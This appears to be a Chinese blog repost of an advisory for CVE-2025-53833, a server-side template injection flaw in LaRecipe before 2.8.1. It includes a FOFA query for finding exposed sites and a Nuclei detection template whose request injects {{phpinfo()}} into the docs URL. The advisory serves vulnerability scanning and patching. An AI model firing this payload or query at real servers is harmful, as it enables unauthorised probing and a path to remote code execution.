LaRecipe 服务端模板注入漏洞

漏洞信息

漏洞名称: LaRecipe 服务端模板注入漏洞

漏洞编号:

  • CVE: CVE-2025-53833

漏洞类型: 服务端模板注入

漏洞等级: 严重

漏洞描述: LaRecipe是一个允许用户在Laravel应用内部使用Markdown创建文档的应用程序。该应用在2.8.1之前的版本中存在服务端模板注入(SSTI)漏洞,可能导致远程代码执行(RCE)。攻击者可以利用此漏洞在服务器上执行任意命令,访问敏感的环境变量,或者根据服务器配置提升访问权限。此漏洞的根源在于未对用户输入进行适当的验证和过滤,使得攻击者能够注入恶意模板代码。由于LaRecipe广泛用于文档创建,此漏洞的影响范围较广,特别是在未及时更新的系统中。攻击者无需认证即可利用此漏洞,且可以自动化执行攻击,因此对使用受影响版本的用户构成了严重的安全威胁。建议用户立即升级到v2.8.1或更高版本以获得修复。

产品厂商: LaRecipe

产品名称: LaRecipe

影响版本: < 2.8.1

搜索语法: body=”/binarytorch/larecipe/“

来源: https://github.com/projectdiscovery/nuclei-templates/blob/22cfb81bb221a42e84f52ad9ec5e127f62c0a111/http%2Fcves%2F2025%2FCVE-2025-53833.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

id: CVE-2025-53833

info:
name: LaRecipe < 2.8.1 Remote Code Execution via SSTI
author: iamnoooob,pdresearch
severity: critical
description: |
LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations. Attackers could execute arbitrary commands on the server, access sensitive environment variables, and/or escalate access depending on server configuration.
remediation: Users are strongly advised to upgrade to version v2.8.1 or later to receive a patch.
reference:
- https://github.com/saleem-hadad/larecipe/security/advisories/GHSA-jv7x-xhv2-p5v2
- https://github.com/advisories/GHSA-jv7x-xhv2-p5v2
- https://nvd.nist.gov/vuln/detail/CVE-2025-53833
metadata:
verified: true
max-request: 1
fofa-query: body="/binarytorch/larecipe/"
tags: cve,cve2025,larecipe,rce,ssti,oss

http:
- raw:
- |
GET /docs/1.0/?{{phpinfo()}} HTTP/1.1
Host: {{Hostname}}

skip-variables-check: true

matchers-condition: and
matchers:
- type: word
part: body
words:
- "PHP Extension"
- "PHP Version"
condition: and

- type: status
status:
- 200



LaRecipe 服务端模板注入漏洞
http://example.com/2025/07/15/github_2383018233/
作者
lianccc
发布于
2025年7月15日
许可协议